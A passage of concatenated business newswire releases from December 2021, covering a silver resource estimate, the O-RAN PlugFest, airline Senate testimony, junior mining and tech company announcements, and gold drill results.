minimum of 2 and a maximum of 12 composites, with a maximum of 4 composites from any one drill hole (i.e. a minimum of two drill holes required for >4 composites) while the second pass was more restrictive using a minimum of 3 and a maximum of 9 composites, with a maximum of 3 composites from any one drill hole. Bulk densities at La Bocona were based on a total of 418 sample interval measurements taken by Southern field personnel. For each sample interval, sub-samples were taken from each individual length of core and the weighted average for the sample used. Density values ranged from 1.9 t/m 3 to 4.73 t/m 3 . Bulk densities at Skarn South were based on a total of 387 sample interval measurements where density values ranged from 1.51 t/m 3 to 4.35 t/m 3 . Density values were interpolated on a block-by-block basis using an inverse distance to the second power. An average value of 2.97 t/m3 was assigned to blocks that were not interpolated. Silver composite values have been capped in order to remove the effects of potential overestimation due to statistical outliers. The threshold chosen was 700 g/t silver for both La Bocona and South Skarn. In addition, outlier values for the co-product metals were capped at the threshold levels of 5 g/t gold, 1.4% copper, 15% lead and 10% zinc at La Bocona and 2.5 g/t gold, 0.5% copper, 15% lead and 8% zinc at South Skarn, respectively. The mineralized zones were initially defined by Southern personnel and subsequently validated and refined by KGL. The mineralized wire frames were defined using a combination of geological constraints and grade boundaries with no minimum mining thickness applied. Intervals that were not sampled were assigned a zero grade. For all zones, blocks are classified as Inferred if they are included within 75m of at least one drill hole intercept. Blocks within 40m of the nearest intercept, and estimated by at least two drill holes were classified as Indicated. However, an interpreted boundary is the final determination of indicated and inferred resources in order to remove outlier blocks and the "spotted dog" effect. In addition, continuous potentially underground mining panels were created to demonstrate "reasonable prospect of eventual economic extraction." Mineral Resources that are not Mineral Reserves do not have demonstrated economic viability. Inferred Resources are considered too speculative geologically to have economic considerations applied to them that would enable them to be classified as Mineral Reserves. An Inferred Mineral Resource has a lower level of confidence than that applying to an Indicated Mineral Resource and must not be converted to a Mineral Reserve. It is reasonably expected that the majority of Inferred Mineral Resources could be upgraded to Indicated Mineral Resources with continued exploration. NSR Calculation Parameters The NSR values were calculated using average long-term prices of $20/oz. silver, $1,650/oz. gold, $3.25/lb. copper, $1.00/lb. lead and $1.20/lb. zinc. Metallurgical test work identified three saleable concentrates for the Skarn zones and two from the Blind, El Sol and Las Victorias zones (BESS). NSR values for each concentrate were calculated utilizing the parameters summarized in Table 1 and summed to determine a total NSR value for each block. Only silver and gold recoveries in dore were considered for the oxide NSR calculations. Gold was not recovered in the sulphide concentrates and is estimated at 70% in the oxide circuit for the purposes of this reporting. All prices are stated in $USD. Table 3: Variables considered in the NSR calculations for each concentrate. Sulfides Oxides Item Pb Concentrate Zn Concentrate Cu Conc. Ag-Au leach Skarn BESS Skarn BESS Skarn Pb Recovery 84% 90% Zn Recovery 95% 78% Cu Recovery 60% Ag Recovery 77% 79% 8% 12% 7% 74% Au Recovery 70% Payable Metals Pb, Ag Pb, Ag Zn, Ag Zn, Ag Cu, Ag Au, Ag Concentrate grade, (primary base metal) 65% 70% 54% 52% 27% Transport, Treatment, Penalty charges, $ dmt 230 267 358 364 183 Base metal Concentrate Grade Deduction 3 units 3 units 8 units 8 units 1 unit Ag Concentrate Grade Deduction, g/t 50 50 93 93 Ag Refining charge, $/oz 0.6 0.6 0.4 Base metal Refining, $/lb 0.107 Ag payable 90% Qualified Persons The independent Qualified Persons for the Technical Report are Garth Kirkham, P.Geo., Principal, Kirkham Geosystems Ltd and Arthur Barnes P.Eng., FSAIMM, Principal, MPC Metallurgical Process Consultants Limited, who have reviewed and approved the contents of this release. In accordance with National Instrument 43-101 Standards of Disclosure for Mineral Projects, Robert Macdonald, P.Geo, Vice President Exploration, is the Qualified Person for the Company and has validated and approved the technical and scientific content of this news release. Risk Factors Southern Silver is aware this project is subject to the same types of risks that large precious and base metal projects experience at an early stage of development in Mexico. The Company has engaged experienced management and specialized consultants to identify, manage and mitigate those risks. However, the types of risks will change as the project evolves and more information becomes available. About Southern Silver Exploration Corp. Southern Silver Exploration Corp. is an exploration and development company with a focus on the discovery of world-class mineral deposits. Our specific emphasis is the 100% owned Cerro Las Minitas silver-lead-zinc project located in the heart of Mexico's Faja de Plata, which hosts multiple world-class mineral deposits such as Penasquito, San Martin, Naica and Pitarrilla. We have assembled a team of highly experienced technical, operational and transactional professionals to support our exploration efforts in developing the Cerro Las Minitas project into a premier, high-grade, silver-lead-zinc mine. The Company's property portfolio also includes the Oro porphyry copper-gold project located in southern New Mexico, USA, which includes patented land, State leases and BLM mineral claims totalling 22.3 sq. km. Targeting has been finalized and bonding pending for a 4,000m drill program, designed to test several copper-molybdenum porphyry and copper-gold skarn targets within a broad quartz-sericite-pyrite alteration zone, interpreted to overlie an unexposed porphyry centre. Permitting is in the final stages with drilling expected to commence in Q1, 2022. On behalf of the Board of Directors "Lawrence Page" Lawrence Page, Q.C. President & Director, Southern Silver Exploration Corp. For further information, please visit Southern Silver's website at southernsilverexploration.com or contact us at 604.641.2759 or by email at ir@mnxltd.com. Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. This news release may contain forward-looking statements. Forward-looking statements address future events and conditions and therefore involve inherent risks and uncertainties. Actual results may differ materially from those currently anticipated in such statements. Factors that could cause actual results to differ materially from those in forward-looking statements include the timing and receipt of government and regulatory approvals, and continued availability of capital and financing and general economic, market or business conditions. Southern Silver Exploration Corp. does not assume any obligation to update or revise its forward-looking statements, whether as a result of new information, future events or otherwise, except to the extent required by applicable law. To view the source version of this press release, please visit https://www.newsfilecorp.com/release/107741 O-RAN Global PlugFest 2021 more than doubles with 144 corporate participants in the 7 global venues Scope includes multi-vendor interoperability, Radio Intelligent Controllers, O-Cloud, infrastructure security and end-to-end functionality PlugFest Virtual Showcase will allow interested public to explore the 2021 PlugFest in detail The O-RAN ALLIANCE has successfully conducted its O-RAN Global PlugFest 2021 to demonstrate the functionality and multi-vendor interoperability of O-RAN based network equipment. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20211215005970/en/ O-RAN Global PlugFest 2021 Integration and Testing Configuration (Graphic: Business Wire) The O-RAN ALLIANCE is a world-wide community of more than 300 operators, vendors and research and academic institutions working in a transparent way to develop a sustainable open RAN ecosystem. 30 mobile network operators committed to O-RAN are serving over 4.5 Billion subscribers around the world. O-RAN Global PlugFest 2021 O-RAN's third world-wide testing and integration event demonstrated the strength of the O-RAN ecosystem and its global drive towards open and intelligent Radio Access Networks (RAN). The O-RAN PlugFest expanded from 4 to 7 global venues, with 94 participating companies. Many of the companies contributed to multiple venues, bringing PlugFest to a total of 144 active corporate participants compared to 70 at the 2020 PlugFest. "The expanded and diverse participation of companies from across the technology ecosystem at the O-RAN Global PlugFest 2021 is testimony to growing momentum behind Open RAN and its relevance for our industry," said Alex Jinsung Choi, Chief Operating Officer of the O-RAN ALLIANCE and SVP of Strategy and Technology Innovation, Deutsche Telekom. "The joint, open and coordinated O-RAN Global PlugFest framework is crucial for all O-RAN members to collaborate within the community and accelerate the ecosystem development of commercially available Open RAN solutions." Testing multi-vendor interoperability, Radio Intelligent Controllers, O-Cloud, infrastructure security and end-to-end functionality Overall, O-RAN Global PlugFests bring a great opportunity for the industry to deal with integration challenges in an efficient way and to make major progress in development of commercial O-RAN products. This year's PlugFest was not an exception, as demonstrated by the successes: This year's PlugFest proved advanced maturity of the Open Fronthaul (OFH) implementations. Interoperability has been achieved between many vendors in different network setups, base station classes, OFH profiles and RU/CU-DU product combinations. There were several demonstrations of advanced use cases utilizing the O-RAN Near-Real-Time Radio Intelligent Controller (Near-RT RIC) and Non-Real-Time RIC (Non-RT RIC), like automated network outage detection and recovery, and latency assurance for end-to-end network slicing. A lot of effort also went into testing individual RIC interfaces, application protocols, and related xApps and rApps. Several venues successfully tested O-Cloud products and multi-vendor virtualized RAN integrations. Specific tests dealt with the O-RAN infrastructure security. Thanks to the O-RAN community enthusiasm and great collaboration, several O-RAN end-to-end functionality tests passed against production core network elements, while many others utilized simulators. All venues proved the readiness of advanced test equipment and simulation of different parts of the network. PlugFest hosts managed combinations of on-site and remote testing, reflecting the Covid-19 pandemic situation in different parts of the world. In Asia, the O-RAN Global PlugFest 2021 took place at four venues The PlugFest in Japan was hosted by NTT DOCOMO, KDDI, Rakuten Mobile, SoftBank and YRP in Tokyo area and Yokosuka. Activities focused on multi-vendor interoperability testing of Open Fronthaul interface in 5G NSA/SA setup achieving 1Gbps DL throughput, as well as multi-vendor vRAN integrations. Another stream focused on 3GPP RF Conformance testing and demonstration of autonomous RAN outage detection and self-healing utilizing O-RAN Non-Real-Time and Near-Real-Time Radio Intelligent Controllers (Non-RT and Near-RT RIC). Near-RT RIC concept and the detailed mechanisms were also showcased to support latency assurance for end-to-end network slicing. Potential parameters to be supported in the O-RAN specifications were identified as study results. As a complementing activity, selected participants started a study on RAN emission characteristics. In addition to the hosts, participants included Fujitsu, HCL, JMA Wireless, Keysight Technologies, NEC, Nokia, NVIDIA, Samsung, VIAVI Solutions and Wind River The O-RAN PlugFest in Republic of Korea was hosted by LG Uplus for the first time in Korea at its 5G Innovation Lab in LG Science Park, Seoul. The primary focus was on evaluation of Open Fronthaul for multi-vendor interoperability of a 5G SA system (FR1, TDD). In addition to the hosts, participants included Altiostar, DZS, Intel, Keysight Technologies and NEC Activities at Taiwan-based O-RAN PlugFest in Auray OTIC and Security Lab Chunghwa Telecom were performed by two hosts: Auray at their OTIC and Security lab in Taoyuan, Taiwan hosted multi-vendor interoperability testing for indoor scenario focusing on Open Fronthaul as well as scenarios according to O-RAN end-to-end test specification v2.0. Chunghwa Telecom in Yangmei hosted validation of multi-vendor E2E solutions for O-RU, O-CU/O-DU with real core network, as well as demonstration of Service Management and Orchestration using O-RAN Non-RT RIC. In addition to the hosts, participants included Aethertek, Alpha Networks, Arcadyan, Calnex, Compal, Delta Electronics, Foxconn, iConnext, Institute for Information Industry, Intel, Inventec, IP Infusion, ITRI, JPC Connectivity, Keysight Technologies, Lions Technology, Liteon, Metanoia Communications, MICAS, MiTAC Computing, NKG, O'Prueba, Pegatron, QCT, Rohde Schwarz, Sageran, Sercomm, VIAVI Solutions, Wiwynn and WNC. The O-RAN PlugFest in India was hosted by Bharti Airtel at NOC Manesar in Gurgaon, Delhi. The primary focus was on traffic steering using the O-RAN Near-RT RIC, physical infrastructure security, O-RU M-plane and S-plane tests, Open Fronthaul gateway tests and E2E testing of O-RAN solution. In addition to the host, participants included AMI, ASOCS, Capgemini Engineering, Cisco, Intel, IP Infusion, Keysight Technologies, Mavenir, Sercomm, STL, TCS, VIAVI Solutions, VMware and VVDN The O-RAN Global PlugFest 2021 in Europe took place at two venues The O-RAN PlugFest hosted by Skoltech was hosted by Skoltech at its OpenRAN 5G Lab in Moscow. The activities focused on 3GPP compliance validation for O-RU and on end-to-end integration of O-RAN 5G gNB with commercial 5G core. In addition to the hosts, participants included Foxconn, Keysight Technologies and Xilinx BT, Deutsche Telekom, Orange, Telefonica, TIM and Vodafone have teamed up together with the Telecom Infra Project (TIP) to host the Joint European O-RAN TIP PlugFest at 4 European OTICs in Berlin, Madrid, Paris and Torino. The focus was on O-RU conformance testing, E2E multi-vendor integration with performance and functional testing, load and scale testing of O-CU, security testing, validation and demonstration of RIC, xApps and rApps, demonstration of multi-vendor O-RAN based architecture and xHaul transport. In addition to the hosts, participants included Accelleran, ADVA, Advantech, AirHop Communications, Anritsu, Capgemini Engineering, Ciena, Cisco, Comba Network, Dell Technologies, DZS, EANTC, EXFO, Facebook, Foxconn, Fujitsu, Intel, IP Infusion, IS-Wireless, JMA Wireless, Juniper Networks, Keysight Technologies, Mavenir, MICAS, MTI, NEC, ONF, Precision OT, Radisys, Rohde Schwarz, VIAVI Solutions, VMware, Wind River, Wiwynn and Xilinx In North America, the O-RAN Global PlugFest 2021 brought together companies and academic institutions The Joint O-RAN, TIP, Linux Foundation PlugFest Proofs of Concept hosted by AT&T and Verizon, was conducted across 3 labs in the USA: the NSF POWDER lab at the University of Utah in Salt Lake City, the NSF COSMOS lab at Rutgers University in New Jersey, and the TIP Community Lab on the Facebook (META) campus in Menlo Park, California. PlugFest activities focused on Open Fronthaul conformance testing and multi-vendor interoperability. Proofs of Concept demonstrated O-Cloud infrastructure behaviour in latency sensitive applications, RIC demonstration of successful E2AP procedures and measurement collection via E2 Service Model, RAN Slice SLA, AI-enabled management of multiple-operator/multi-vendor RAN with O-RU pooling multi-vendor slices. In addition to the hosts, participants included Analog Devices, Anritsu, Calnex, Capgemini Engineering, Casa Systems, CIG, Commscope, Corning, Foxconn, Fujitsu, highstreet technologies, Intel, IP Infusion, JMA Wireless, Juniper Networks, Keysight Technologies, Mavenir, MTI, National Instruments, NEC, Radisys, Rohde Schwarz, VIAVI Solutions, VVDN and Wind River For more information about the PlugFest, see this blogpost. The O-RAN ALLIANCE is preparing a PlugFest Virtual Showcase to allow interested public to explore the O-RAN Global PlugFest 2021 in detail soon to be available at www.o-ran.org. About O-RAN ALLIANCE The O-RAN ALLIANCE is a world-wide community of more than 300 mobile operators, vendors, and research academic institutions operating in the Radio Access Network (RAN) industry. As the RAN is an essential part of any mobile network, the O-RAN ALLIANCE's mission is to re-shape the industry towards more intelligent, open, virtualized and fully interoperable mobile networks. The new O-RAN standards will enable a more competitive and vibrant RAN supplier ecosystem with faster innovation to improve user experience. O-RAN based mobile networks will at the same time improve the efficiency of RAN deployments as well as operations by the mobile operators. To achieve this, the O-RAN ALLIANCE publishes new RAN specifications, releases open software for the RAN, and supports its members in integration and testing of their implementations. For more information please visit www.o-ran.org. View source version on businesswire.com: https://www.businesswire.com/news/home/20211215005970/en/ Contacts: O-RAN ALLIANCE PR Contact Zbynek Dalecky pr@o-ran.org O-RAN ALLIANCE e.V. Buschkauler Weg 27 53347 Alfter/Germany WASHINGTON (dpa-AFX) - Executives of different airlines will take questions from a Senate panel on Wednesday on the issue of flight cancellations and staff shortfalls in spite of securing $54 billion in taxpayer aid to help cover labor costs during the Coronavirus pandemic period. The CEOs of airline companies like American Airlines, United Airlines and Southwest Airlines and the chief of operations at Delta will take the stand before the panel. In their written testimony for the hearing of the Senate Committee on Commerce, Science, and Transportation, the executives said that the government aid helped them tide over the crisis and they can now focus on hiring and revamping the airlines. The Senate panel will mostly ask the airline companies as to how they are preparing for the upcoming months of high travel and by when customers would start receiving their pending refunds. American airline companies are said to have lost around $35 billion last year due to the COVID-19 pandemic and according to executives, the Payroll Support Program, which stopped them from laying off workers, was a lifesaver for them to overcome the crisis. In his testimony, American Airlines CEO Doug Parker said, 'It's not an exaggeration to say the program saved the airline industry, which Congress and the administration recognized as critical infrastructure that is as essential to the economy as it is unique.' Delta chief of operations, John Laughter said, 'While we have seen travel stabilize across the U.S., the Omicron variant of COVID has demonstrated the ongoing volatility of the pandemic.' While airlines could not lay off workers, they brought down the number of working people by getting workers to take voluntary measures like buyouts, leaves of absence or temporarily kept away workers in exchange for reduced pay. The payroll aid was given mostly in the form of grants, which need not be repaid as well as some loans. Airline operations were also affected by staffing shortfalls and other issues line exacerbated routine problems, bad weather, and led to many flight cancellations, especially with the holiday season around the corner. Airlines were adding staff as soon as they could to make up for the loss. In July, Sen. Maria Cantwell, D-Wash, the committee's chairwoman wrote to major airline executives, raising issue about staffing problems' role in flight disruptions. 'This reported workforce shortage runs counter to the objective and spirit of the PSP, which was to enable airlines to endure the pandemic and keep employees on payroll so that the industry was positioned to capture a rebound in demand,' she wrote. United Airlines, along with Delta, has been more conservative about bringing back flights than American and Southwest. Sara Nelson, president of the Association of Flight Attendants, who worked closely with airline executives and lawmakers to get the payroll support approved, is also scheduled to testify in front of the committee. She called for increased protections for cabin crew when they come in contact with customers. Copyright RTT News/dpa-AFX Kostenloser Wertpapierhandel auf Smartbroker.de Toronto, Ontario--(Newsfile Corp. - December 15, 2021) - Big Ridge Gold Corp. (TSXV: BRAU) (OTCQB: ALVLF) ("Big Ridge" or the "Company") is pleased to announce the election of Kristina Bates to the Company's Board of Directors at its annual meeting of shareholders (the "Meeting") held on December 14, 2021. At the Meeting, the Company's shareholders overwhelmingly approved the matters brought before the Meeting, including: the expansion of the board to six directors, and the election of the six director candidates proposed by management; the reappointment of Davidson & Company LLP as auditors of the Company; the approval of the Company's Amended and Restated Share Option Plan, which established a fixed cap of 12,570,111 shares available for issuance opposed to the rolling 10% cap under the previous version of the option plan; and the approval of the Company's Restricted Share Unit Plan. Details of the voting on each matter brought before the Meeting are available under the Company's profile at www.sedar.com. Kristina is an accomplished financial executive, board director and volunteer with over 20 years of investment, strategic and governance expertise with mining, technology, and high growth companies. Kristina has spent the majority of her career in capital markets, raising equity and debt financing for early and mid stage companies. She currently serves on two private company Boards in addition to her roles on the Company's board of directors and on its Audit and Corporate Governance, Compensation and Nominating Committees. Kristina is a Canadian CPA, CA, holds an MBA and started her career in finance with Ernst & Young LLP. Most recently, Kristina has worked as an Investment Advisor at Manulife Securities, managing investments for high-net-worth clients with a focus on growing and preserving wealth. From 2013 to 2018, she worked in a similar role at RBC Dominion Securities. "On behalf of the Board of Directors, I would like to welcome Kristina to the Board," said Nick Tintor, Chairman of Big Ridge. "Her knowledge of the capital markets, and strong financial background will be a significant addition to the Board's skills as Big Ridge continues to advance and realize the full potential of the Hope Brook Gold project and Canadian based gold exploration assets." The Company also announces that, in accordance with its Amended and Restated Share Option Plan, it has granted to Ms. Bates incentive options to purchase up to 187,500 common shares exercisable at a price of $0.29 per share and expiring on December 14, 2026. About Big Ridge Gold Corp. Big Ridge Gold Corp. is an exploration and development company managed by a disciplined and experienced team of officers and directors. The Company is committed to the development of advanced stage mining projects using industry best practices combined with strong social license from our local communities. Big Ridge owns 100% interest in the highly prospective Oxford Gold Project located in Manitoba, 100% interest in the Destiny Gold Project in Quebec where Clarity Gold Corp. (CLAR - CSE) is earning up to a 100% interest, and is exploring in the Beardmore-Geraldton gold belt in Ontario. For more details regarding the Company's projects, please visit the Company's website at www.bigridgegold.com. ON BEHALF OF THE BOARD, Mike Bandrowski, President & CEO Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. For further information contact: Mike Bandrowski, President & CEO BIG RIDGE GOLD CORP. Suite 1400-18 King Street East Toronto, ON M5C 1C4 Tel: 416-540-5480 Email: Mike@bigridgegold.com To view the source version of this press release, please visit https://www.newsfilecorp.com/release/107738 CUPERTINO (dpa-AFX) - Tech giant Apple Inc. (AAPL) has reinstated its mask mandates in stores across the U.S. as Covid-19 cases surge and Omicron variant threat looms. The iPhone maker said Tuesday that the new mask mandate would apply to all customers and employees. 'We regularly monitor conditions and we will adjust our health measures in stores to support the well-being of customers and employees,' an Apple spokesperson said in a statement, according to CNBC. 'Amid rising cases in many communities, we now require that all customers join our team members in wearing masks while visiting our stores.' In November, Apple had relaxed its mask mandates and had made mask optional in almost half of its domestic stores, unless there were any State mandates. Meanwhile, some US states including California and New York have temporarily reinstated mask mandates indoors recently, with New York allowing an exemption for businesses that require proof of vaccination. Copyright RTT News/dpa-AFX Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann. Halifax, Nova Scotia--(Newsfile Corp. - December 15, 2021) - As previously announced eXeBlock Technology Corporation, (CSE: XBLK) ("eXeBlock) listed on the Canadian Securities Exchange ("CSE") entered into a Merger Agreement (the "Definitive Agreement") with Nodalblock Canada Holdings Inc., more recently and commonly referred to as Oaro Software Solutions ("Oaro"). The Definitive Agreement will see eXeBlock indirectly acquire all issued and outstanding shares of Oaro, and will result in a reverse takeover of eXeBlock (the "Transaction"). Details of the Transaction can be seen in the original press release dated December 7, 2020 and in subsequent financial reporting. The Transaction has taken a longer period of time to conclude than initially anticipated, as Oaro has embarked on a new line of business for the development and delivery of Non-Fungible Tokens ("NFTs"), and on September 1, 2021 hired a new Chief Executive Officer, Mr. Garry Harrison, to enhance the Oaro leadership team and product line. "eXeBlock continues to be enthusiastic about the upcoming Transaction with Oaro and with the progress made in management and sales efforts in a variety of industries, products and markets," said Ken Marshall, CEO of eXeBlock. eXeBlock also wishes to announce that Ken Marshall has resigned from the Board of Directors effective immediately. Ken will remain as the Company's President & CEO and continue the RTO process with Oaro. Ken will be replaced as Director by Robert Randall who currently serves as the Company's CFO and has in excess of twenty years' experience with public companies. For further information please contact: Ken Marshall, President & CEO (709) 351-4429 kmarshall@exeblock.ca About eXeBlock eXeBlock, with its wholly owned subsidiary eXeBlock Subco, is a Company listed on the CSE. eXeBlock Subco is a Company incorporated under the federal laws of Canada. eXeBlock is a technology company exploring new technology initiatives. Neither eXeBlock nor eXeBlock Subco has current business operations. Completion of the Transaction is subject to a number of conditions, including but not limited to, CSE acceptance and if applicable pursuant to CSE Requirements, majority of the minority shareholder approval. Where applicable, the Transaction cannot close until the required shareholder approval is obtained. There can be no assurance that the Transaction will be completed as proposed or at all. Investors are cautioned that, except as disclosed in the management information circular or filing statement to be prepared in connection with the Transaction, any information released or received with respect to the Transaction may not be accurate or complete and should not be relied upon. The CSE has in no way passed upon the merits of the proposed Transaction and has neither approved nor disapproved the contents of this news release. Forward-Looking Statements This press release contains forward-looking statements. Forward-looking statements involve known and unknown risks, uncertainties and other factors which may cause the actual results, performance or achievements of eXeBlock to be materially different from any future results, performance or achievements expressed or implied by the forward-looking statements. Examples of such statements include the intention to complete the Transaction. Actual results and developments are likely to differ, and may differ materially, from those expressed or implied by the forward-looking statements contained in this press release. Such forward-looking statements are based on a number of assumptions which may prove to be incorrect, including, but not limited to: satisfying conditions under the Definitive Agreement; satisfying the requirements of the CSE with respect to the Transaction; consumer interest in Oaro's services and products; competition; market conditions for the Concurrent Financing and anticipated and unanticipated costs. While eXeBlock anticipates that subsequent events and developments may cause its views to change, eXeBlock specifically disclaims any obligation to update these forward-looking statements. These forward-looking statements should not be relied upon as representing eXeBlock's views as of any date subsequent to the date of this press release. Although eXeBlock has attempted to identify important factors that could cause actual actions, events or results to differ materially from those described in forward-looking statements, there may be other factors that cause actions, events or results not to be as anticipated, estimated or intended. There can be no assurance that forward-looking statements will prove to be accurate, as actual results and future events could differ materially from those anticipated in such statements. Accordingly, readers should not place undue reliance on forward-looking statements. The factors identified above are not intended to represent a complete list of the factors that could affect eXeBlock. Additional factors are noted under "Risk Factors" in eXeBlock's Management's Discussion and Analysis for the quarter ended May 31, 2021, a copy of which may be obtained on the SEDAR website at www.sedar.com. To view the source version of this press release, please visit https://www.newsfilecorp.com/release/107750 TORONTO, ON / ACCESSWIRE / December 15, 2021 / Forward Water Technologies Corp. (TSXV:FWTC) (the "Company"), a Canadian wastewater recovery company, is pleased to announce the launch of a 12 month online marketing campaign through AGORACOM for the purposes of targeting new potential investors that would be specifically interested in the Company's business model, as well as engaging current shareholders. The Company is paying $0 in cash for the program due to AGORACOM's cashless and fully compliant shares for services program. SIGNIFICANT EXPOSURE THROUGH AGORACOM DIGITAL NETWORK In 2019, AGORACOM surpassed 600 million page views, exceeded industry engagement metrics by over 400% and has served over 350 public companies. The Forward Water Technologies HUB containing multiple landing pages, videos, photos and other helpful information updated in real-time and can be found at: https://agoracom.com/ir/ForwardWaterTech The Forward Water Technologies Corp. HUB will receive significant exposure through continuous brand impression, content marketing, search engine marketing and social media engagement throughout the entire AGORACOM network. AGORACOM is the only small cap marketing firm to hold a Twitter Verified badge, averaging 4.2 million Twitter impressions per month in 2019. MODERATED DISCUSSION FOR MANAGEMENT AND SHAREHOLDERS The Company has also launched a "CEO Verified" Discussion Forum on AGORACOM to serve as the Company's primary social media platform to interact with both current and prospective shareholders in a fully moderated environment. The Forward Water Technologies Corp. discussion forum can be found at: https://agoracom.com/ir/ForwardWaterTech/forums/discussion SHARES FOR SERVICE FEES: $CDN 100,000 + HST * $20,000 Worth Of Shares (+HST) Are Issued In 5 Instalments: Commencement, Months 3, 6, 9 and 12 The deemed price of the securities to be issued will be determined after the date services are provided to advertiser in each period and are to be calculated using the closing price on the Canadian Securities Exchange on each of the dates as stated above. About AGORACOM AGORACOM is the pioneer of online marketing, broadcasting, conferences and investor relations services to North American small and mid-cap public companies, with more than 300 companies served. AGORACOM is the home of more than 7.7 million investors that visited 55.2 million times and read over 600 million pages of information over the last 10 years. The average visit of 8min 43sec is more than double that of global financial sites, which can be attributed to the implementation and enforcement of the strongest moderation rules in the industry. About Forward Water Technologies Corp. Forward Water Technologies Corp. is an Ontario corporation dedicated to the commercialization of its proprietary forward osmosis technology. The technology allows manufacturing operations to clean their wastewater that would otherwise require costly disposal. The technology also enables the reclamation of up to 90% of the waste as clean water and the return of this valuable resource to the environment. Alternatively, the clean water can be reused by manufacturing operations to reduce their overall water consumption and environmental footprint. The Company's corporate office is located in Toronto, Ontario and its research, development and engineering office is located in Sarnia, Ontario. For more information on Forward Water Technologies Corp., please visit: https://www.forwardwater.com . Contact Information: For more information or interview requests, please contact: C. Howie Honeyman - Chief Executive Officer howie.honeyman@forwardwater.com 416-451-8155 Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this news release. Cautionary Note Regarding Forward-Looking Statements This news release contains forward-looking information within the meaning of applicable securities laws ("forward-looking statements"). Forward-looking statements can be identified by words such as: "intend", "believe", "estimate", "expect", "may", "will" and similar references to future periods . Examples of forward-looking statements include, among others, statements we make about the future plans of the Company, as well as information relating to the Company. Forward-looking statements are neither historical facts nor assurances of future performance. Instead, they are based only on our current beliefs, expectations and assumptions regarding the future of our business, future plans and strategies, projections, anticipated events and trends, the economy and other future conditions. Because forward-looking statements relate to the future, they are subject to inherent uncertainties, risks and changes in circumstances that are difficult to predict and many of which are outside of our control. Our actual results and financial condition may differ materially from those indicated in the forward-looking statements. Therefore, you should not rely on any of these forward-looking statements. Important factors that could cause our actual results and financial condition to differ materially from those indicated in the forward-looking statements include those disclosed in the Company's filing statement dated October 6, 2021, which are incorporated herein by reference and are available through SEDAR at www.sedar.com . Any forward-looking statement made by us in this news release is based only on information currently available to us and speaks only as of the date on which it is made. Except as required by applicable securities laws, we undertake no obligation to publicly update any forward-looking statement, whether written or oral, that may be made from time to time, whether as a result of new information, future developments or otherwise. SOURCE: Forward Water Technologies Corp. View source version on accesswire.com:https://www.accesswire.com/677951/Forward-Water-Technologies-Corp-Launches-AGORACOM-Platform-for-Online-Marketing-and-Verified-Discussion-Forum-for-Clean-Social-Media-Engagement RESULTS CONFIRM DISTRICT SCALE POTENTIAL OF MONTE DO CARMO Visible gold and mineralized alteration zones prolific throughout the property Six of the initial the eight targets drilled returned relevant intercepts, all within a 6 km radius of the Serra Alta deposit Baru and Fartura corridors believed to extend for over 1 km resembling the spatial footprint of the Serra Alta deposit Capitao mineralization and alteration footprints extend for 500 m of strike length and up to 700 m in lateral extent Bit-3 reveals new style of mineralization associated to sheer zone in permissive ultramafic granite, this shear zone contact extends for 15 kms along an underexplored NE trend At Sucuri, a new high-grade sheared vein zone has been discovered Follow up programs planned for 2022 Toronto, Ontario--(Newsfile Corp. - December 15, 2021) - Cerrado Gold Inc. (TSXV: CERT) (OTCQX: CRDOF) ("Cerrado" or the "Company") is pleased to announce the initial results from its exploration drill program focused on various Satellite deposits within its Monte do Carmo ("MDC") Project, located in Tocantins State, Brazil. The exploration program initiated in Q2/21 was designed to better define the district potential by targeting satellite deposits adjacent to the Sierra Alta deposit as well as extensions to Serra Alta itself. Based on the success of the program, additional work is now being planned to follow up on these results. The Company is reporting assay results of 39 drill holes, drilled exclusively at satellite targets (see Figure 1. and Tables 1. & 2.). Drill Hole Highlights by target area (all composites are reported as true thickness): Capitao FCP-004 2.9 m at 2.13 g/t Au, from 123.56 m FCP-005 7.22 m at 0.94 g/t Au, from 71.65 m FCP-007 4.44 m at 2.14 g/t Au, from 165.41 m; and 1.01 m at 8.63 g/t Au, from 232.74 m FCP-010 1.92 m at 6.81 g/t Au, from 255.64 m Fartura FFA-001 5.35 m at 1.85 g/t Au, from 62.83 m FFA-002 5.04 m at 1.50 g/t Au, from 32.56 m Sucuri FSC-001 1.00 m at 9.72 g/t Au, from 32.56 m Bit 3 FLD-005 6.72 m at 1.50 g/t Au, from 155.35m Including 2.57 m at 3.71 g/t Au from156.32 m Baru FBU-004 20.05 m at 0.71 g/t Au, from 240.05 m Including 1.02 m at 2.23 g/t Au from 243.08 m Mark Brennan, CEO and Co-Chairman commented "The preliminary drill results support our hypothesis for the district potential at Monte do Carmo. We see substantial evidence of visible gold and mineralized alteration throughout the property and expect most of the satellite deposits to add material ounces to an already extremely robust resource base. We will continue extensive testing and drilling of the newly found discoveries in the new year. " Cerrado's overarching exploration approach in the Monte do Carmo district continues to be a parallel process. First to define as accurately as possible the geology and mineralization continuity of Serra Alta, the most advanced target and conceptual anchor deposit; and secondly, use this knowledge to test the full strike of the permissive contact zone to understand the overall district potential. Drilling on the satellite targets is ongoing. It is Cerrado's belief based upon surface indications like garimpos (artisanal mining), Geochem anomalies and outcropping of vein zones, jointly with sparse relevant historic drill along this domain, there is a high probability of discovery of substantial additional mineralization potentially resembling the Serra Alta deposit scale and tenor along the contact zone. The regional exploration program at the Monte do Carmo project was designed to undertake initial exploration of the numerous targets on the project property to demonstrate the potential to grow the known resources outside of the Serra Alta deposit. The program commenced in Q2/21 immediately after the completion of Phase 1 drilling, which focused on upgrading and expanding the existing resources at the Serra Alta. Drilling during H2 2021 has focused on satellites including Capitao, Bit 3, Baru, Fartura and Ferradura as well as extensions to the existing Serra Alta deposit. The main satellite targets are shown in Figure 1. and relevant details of the drill program are shown in Tables 2. and 